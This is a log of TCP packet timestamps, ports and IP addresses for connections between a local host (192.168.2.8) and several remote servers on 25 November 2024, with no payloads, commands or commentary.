Nov 25, 2024 12:08:56.484308958 CET	443	49810	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.484376907 CET	49810	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.489624977 CET	443	49810	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.489680052 CET	49810	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.498574972 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.498646021 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.498655081 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.500178099 CET	443	49810	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.500269890 CET	49810	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.520412922 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.520486116 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.520493031 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.549650908 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.549659967 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.549710035 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.549719095 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.571798086 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.571805000 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.571856022 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.571862936 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.579066992 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.579125881 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.579132080 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.605690002 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.605743885 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.605753899 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.605880976 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.624795914 CET	443	49810	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.624866009 CET	49810	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.630861998 CET	443	49810	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.630919933 CET	49810	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.630945921 CET	443	49810	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.631062031 CET	443	49810	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.631164074 CET	49810	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.631174088 CET	443	49810	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.631186962 CET	49810	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.631225109 CET	49810	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.647095919 CET	443	49814	18.173.219.111	192.168.2.8
Nov 25, 2024 12:08:56.647181034 CET	443	49814	18.173.219.111	192.168.2.8
Nov 25, 2024 12:08:56.647342920 CET	49814	443	192.168.2.8	18.173.219.111
Nov 25, 2024 12:08:56.647784948 CET	49814	443	192.168.2.8	18.173.219.111
Nov 25, 2024 12:08:56.647784948 CET	49814	443	192.168.2.8	18.173.219.111
Nov 25, 2024 12:08:56.647799015 CET	443	49814	18.173.219.111	192.168.2.8
Nov 25, 2024 12:08:56.649329901 CET	49814	443	192.168.2.8	18.173.219.111
Nov 25, 2024 12:08:56.687256098 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:56.687330961 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:56.687383890 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.699671984 CET	443	49816	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.699701071 CET	443	49816	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.699758053 CET	49816	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.699778080 CET	443	49816	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.699811935 CET	443	49816	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.699851036 CET	49816	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.700635910 CET	49816	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.700645924 CET	443	49816	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.701828003 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.701836109 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.701865911 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.701879025 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.701891899 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.701906919 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.702260971 CET	443	49815	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.702440977 CET	443	49815	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.702519894 CET	49815	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.704242945 CET	49815	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.704262018 CET	443	49815	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.717207909 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.717216015 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.717269897 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.717279911 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.727592945 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.727644920 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.727652073 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.727749109 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.740602016 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.740609884 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.740674019 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.740684032 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.746315002 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.746361017 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.746370077 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.746417999 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.749269009 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.749326944 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.754019976 CET	443	49817	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.754055023 CET	443	49817	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.754103899 CET	49817	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.754132986 CET	443	49817	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.754992962 CET	49817	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.755033970 CET	443	49817	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.755084038 CET	49817	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.760802031 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.760808945 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.760876894 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.760885954 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.760957003 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.763176918 CET	443	49819	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.763200998 CET	443	49819	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.763231993 CET	443	49819	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.763252020 CET	49819	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.763267994 CET	443	49819	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.763282061 CET	443	49819	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.763710022 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.763773918 CET	49819	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.763777971 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.764966965 CET	49819	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.764981031 CET	443	49819	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.766769886 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.766916037 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.769826889 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.769879103 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.775245905 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.775301933 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.775307894 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.775379896 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.775443077 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.775624990 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:56.775635958 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:56.807806015 CET	443	49818	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.807838917 CET	443	49818	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.807910919 CET	49818	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.807923079 CET	443	49818	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.807936907 CET	443	49818	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.807986975 CET	49818	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.814835072 CET	49818	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:56.814848900 CET	443	49818	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:56.837610960 CET	443	49820	20.110.205.119	192.168.2.8
Nov 25, 2024 12:08:56.838704109 CET	443	49813	20.75.60.91	192.168.2.8
Nov 25, 2024 12:08:56.838943005 CET	443	49813	20.75.60.91	192.168.2.8
Nov 25, 2024 12:08:56.839049101 CET	49813	443	192.168.2.8	20.75.60.91
Nov 25, 2024 12:08:56.844429016 CET	49820	443	192.168.2.8	20.110.205.119
Nov 25, 2024 12:08:56.844448090 CET	443	49820	20.110.205.119	192.168.2.8
Nov 25, 2024 12:08:56.844662905 CET	49813	443	192.168.2.8	20.75.60.91
Nov 25, 2024 12:08:56.844683886 CET	443	49813	20.75.60.91	192.168.2.8
Nov 25, 2024 12:08:56.845068932 CET	443	49820	20.110.205.119	192.168.2.8
Nov 25, 2024 12:08:56.846874952 CET	49820	443	192.168.2.8	20.110.205.119
Nov 25, 2024 12:08:56.847071886 CET	443	49820	20.110.205.119	192.168.2.8
Nov 25, 2024 12:08:56.847768068 CET	49820	443	192.168.2.8	20.110.205.119
Nov 25, 2024 12:08:56.853646040 CET	49825	443	192.168.2.8	20.75.60.91
Nov 25, 2024 12:08:56.853676081 CET	443	49825	20.75.60.91	192.168.2.8
Nov 25, 2024 12:08:56.853749990 CET	49825	443	192.168.2.8	20.75.60.91
Nov 25, 2024 12:08:56.854218006 CET	49825	443	192.168.2.8	20.75.60.91
Nov 25, 2024 12:08:56.854227066 CET	443	49825	20.75.60.91	192.168.2.8
Nov 25, 2024 12:08:56.895325899 CET	443	49820	20.110.205.119	192.168.2.8
Nov 25, 2024 12:08:56.895694971 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:56.952934980 CET	443	49812	20.189.173.24	192.168.2.8
Nov 25, 2024 12:08:56.953144073 CET	443	49812	20.189.173.24	192.168.2.8
Nov 25, 2024 12:08:56.953607082 CET	49812	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:08:56.956403971 CET	49812	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:08:56.956418991 CET	443	49812	20.189.173.24	192.168.2.8
Nov 25, 2024 12:08:57.015206099 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:57.301947117 CET	443	49820	20.110.205.119	192.168.2.8
Nov 25, 2024 12:08:57.302180052 CET	443	49820	20.110.205.119	192.168.2.8
Nov 25, 2024 12:08:57.302437067 CET	49820	443	192.168.2.8	20.110.205.119
Nov 25, 2024 12:08:57.344120026 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:57.344177008 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:57.344238043 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:57.344296932 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:57.381664038 CET	49820	443	192.168.2.8	20.110.205.119
Nov 25, 2024 12:08:57.381674051 CET	443	49820	20.110.205.119	192.168.2.8
Nov 25, 2024 12:08:57.430217028 CET	443	49822	23.44.201.5	192.168.2.8
Nov 25, 2024 12:08:57.431719065 CET	49822	443	192.168.2.8	23.44.201.5
Nov 25, 2024 12:08:57.431740046 CET	443	49822	23.44.201.5	192.168.2.8
Nov 25, 2024 12:08:57.433278084 CET	443	49822	23.44.201.5	192.168.2.8
Nov 25, 2024 12:08:57.433360100 CET	49822	443	192.168.2.8	23.44.201.5
Nov 25, 2024 12:08:57.434385061 CET	49822	443	192.168.2.8	23.44.201.5
Nov 25, 2024 12:08:57.434482098 CET	443	49822	23.44.201.5	192.168.2.8
Nov 25, 2024 12:08:57.475860119 CET	443	49821	23.44.201.5	192.168.2.8
Nov 25, 2024 12:08:57.476515055 CET	49821	443	192.168.2.8	23.44.201.5
Nov 25, 2024 12:08:57.476540089 CET	443	49821	23.44.201.5	192.168.2.8
Nov 25, 2024 12:08:57.477612019 CET	443	49821	23.44.201.5	192.168.2.8
Nov 25, 2024 12:08:57.477678061 CET	49821	443	192.168.2.8	23.44.201.5
Nov 25, 2024 12:08:57.480587006 CET	49821	443	192.168.2.8	23.44.201.5
Nov 25, 2024 12:08:57.480695963 CET	443	49821	23.44.201.5	192.168.2.8
Nov 25, 2024 12:08:57.484946966 CET	49822	443	192.168.2.8	23.44.201.5
Nov 25, 2024 12:08:57.484961987 CET	443	49822	23.44.201.5	192.168.2.8
Nov 25, 2024 12:08:57.534950972 CET	49822	443	192.168.2.8	23.44.201.5
Nov 25, 2024 12:08:57.534951925 CET	49821	443	192.168.2.8	23.44.201.5
Nov 25, 2024 12:08:57.534965038 CET	443	49821	23.44.201.5	192.168.2.8
Nov 25, 2024 12:08:57.545236111 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:57.545305967 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:57.545315027 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:57.545356035 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:57.548830986 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:57.576319933 CET	49821	443	192.168.2.8	23.44.201.5
Nov 25, 2024 12:08:57.668508053 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:57.775818110 CET	443	49824	204.79.197.219	192.168.2.8
Nov 25, 2024 12:08:57.776124001 CET	49824	443	192.168.2.8	204.79.197.219
Nov 25, 2024 12:08:57.776130915 CET	443	49824	204.79.197.219	192.168.2.8
Nov 25, 2024 12:08:57.777143955 CET	443	49824	204.79.197.219	192.168.2.8
Nov 25, 2024 12:08:57.777234077 CET	49824	443	192.168.2.8	204.79.197.219
Nov 25, 2024 12:08:57.778055906 CET	49824	443	192.168.2.8	204.79.197.219
Nov 25, 2024 12:08:57.778121948 CET	443	49824	204.79.197.219	192.168.2.8
Nov 25, 2024 12:08:57.780893087 CET	443	49823	204.79.197.219	192.168.2.8
Nov 25, 2024 12:08:57.781107903 CET	49823	443	192.168.2.8	204.79.197.219
Nov 25, 2024 12:08:57.781116009 CET	443	49823	204.79.197.219	192.168.2.8
Nov 25, 2024 12:08:57.782325983 CET	443	49823	204.79.197.219	192.168.2.8
Nov 25, 2024 12:08:57.782377005 CET	49823	443	192.168.2.8	204.79.197.219
Nov 25, 2024 12:08:57.783233881 CET	49823	443	192.168.2.8	204.79.197.219
Nov 25, 2024 12:08:57.783302069 CET	443	49823	204.79.197.219	192.168.2.8
Nov 25, 2024 12:08:57.826605082 CET	49824	443	192.168.2.8	204.79.197.219
Nov 25, 2024 12:08:57.826611996 CET	49823	443	192.168.2.8	204.79.197.219
Nov 25, 2024 12:08:57.826618910 CET	443	49824	204.79.197.219	192.168.2.8
Nov 25, 2024 12:08:57.826631069 CET	443	49823	204.79.197.219	192.168.2.8
Nov 25, 2024 12:08:57.868156910 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:57.868195057 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:57.868273973 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:57.868844986 CET	49823	443	192.168.2.8	204.79.197.219
Nov 25, 2024 12:08:57.869052887 CET	49824	443	192.168.2.8	204.79.197.219
Nov 25, 2024 12:08:57.869971037 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:57.869985104 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:57.894009113 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:57.894021988 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:57.894108057 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:57.894323111 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:57.894335032 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:57.945146084 CET	49703	443	192.168.2.8	23.206.229.226
Nov 25, 2024 12:08:57.945262909 CET	49703	443	192.168.2.8	23.206.229.226
Nov 25, 2024 12:08:57.945858002 CET	49828	443	192.168.2.8	23.206.229.226
Nov 25, 2024 12:08:57.945875883 CET	443	49828	23.206.229.226	192.168.2.8
Nov 25, 2024 12:08:57.945934057 CET	49828	443	192.168.2.8	23.206.229.226
Nov 25, 2024 12:08:57.946230888 CET	49828	443	192.168.2.8	23.206.229.226
Nov 25, 2024 12:08:57.946240902 CET	443	49828	23.206.229.226	192.168.2.8
Nov 25, 2024 12:08:57.997828960 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:57.997912884 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:58.011980057 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:58.065027952 CET	443	49703	23.206.229.226	192.168.2.8
Nov 25, 2024 12:08:58.065041065 CET	443	49703	23.206.229.226	192.168.2.8
Nov 25, 2024 12:08:58.132030010 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:58.294789076 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:58.294856071 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:58.295080900 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:58.295284033 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:58.295300961 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:58.522672892 CET	443	49825	20.75.60.91	192.168.2.8
Nov 25, 2024 12:08:58.522958994 CET	49825	443	192.168.2.8	20.75.60.91
Nov 25, 2024 12:08:58.522969007 CET	443	49825	20.75.60.91	192.168.2.8
Nov 25, 2024 12:08:58.523274899 CET	443	49825	20.75.60.91	192.168.2.8
Nov 25, 2024 12:08:58.523688078 CET	49825	443	192.168.2.8	20.75.60.91
Nov 25, 2024 12:08:58.523736954 CET	443	49825	20.75.60.91	192.168.2.8
Nov 25, 2024 12:08:58.523869991 CET	49825	443	192.168.2.8	20.75.60.91
Nov 25, 2024 12:08:58.571327925 CET	443	49825	20.75.60.91	192.168.2.8
Nov 25, 2024 12:08:58.949089050 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:58.949234962 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:58.978714943 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:59.009126902 CET	443	49825	20.75.60.91	192.168.2.8
Nov 25, 2024 12:08:59.009145975 CET	443	49825	20.75.60.91	192.168.2.8
Nov 25, 2024 12:08:59.009193897 CET	49825	443	192.168.2.8	20.75.60.91
Nov 25, 2024 12:08:59.009219885 CET	443	49825	20.75.60.91	192.168.2.8
Nov 25, 2024 12:08:59.009231091 CET	443	49825	20.75.60.91	192.168.2.8
Nov 25, 2024 12:08:59.009274960 CET	49825	443	192.168.2.8	20.75.60.91
Nov 25, 2024 12:08:59.010327101 CET	49825	443	192.168.2.8	20.75.60.91
Nov 25, 2024 12:08:59.010344028 CET	443	49825	20.75.60.91	192.168.2.8
Nov 25, 2024 12:08:59.084358931 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.084661007 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.084671021 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.085130930 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.085603952 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.085686922 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.085824966 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.098308086 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:59.127336979 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.207582951 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.207947016 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.207972050 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.208466053 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.209000111 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.209070921 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.209271908 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.251337051 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.324728966 CET	443	49828	23.206.229.226	192.168.2.8
Nov 25, 2024 12:08:59.324810028 CET	49828	443	192.168.2.8	23.206.229.226
Nov 25, 2024 12:08:59.426868916 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:59.427063942 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:59.431154966 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:08:59.550664902 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:08:59.550923109 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:08:59.552686930 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.552974939 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.553011894 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.554569960 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.554631948 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.556145906 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.556230068 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.556291103 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.556302071 CET	443	49829	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.580892086 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:08:59.606236935 CET	49829	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.700613022 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:08:59.709042072 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.709067106 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.709086895 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.709237099 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.709237099 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.709275961 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.709330082 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.760921955 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.760966063 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.761028051 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.761104107 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.761104107 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.761105061 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.761146069 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.761193991 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.867162943 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.867223978 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.867268085 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.867291927 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.867322922 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.867337942 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.867367983 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.900655031 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.900681973 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.900727987 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.900754929 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.900773048 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.900791883 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.919042110 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.919094086 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.919135094 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.919145107 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.919156075 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.919199944 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.919219017 CET	443	49827	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.931392908 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.931418896 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.931447983 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.931458950 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.931485891 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.931509018 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.944281101 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.944344997 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.966391087 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.966442108 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.966470003 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.966494083 CET	443	49826	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:59.966512918 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.966536045 CET	49826	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.974189043 CET	49827	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:59.989635944 CET	443	49826	104.117.182.56	192.168.2.8
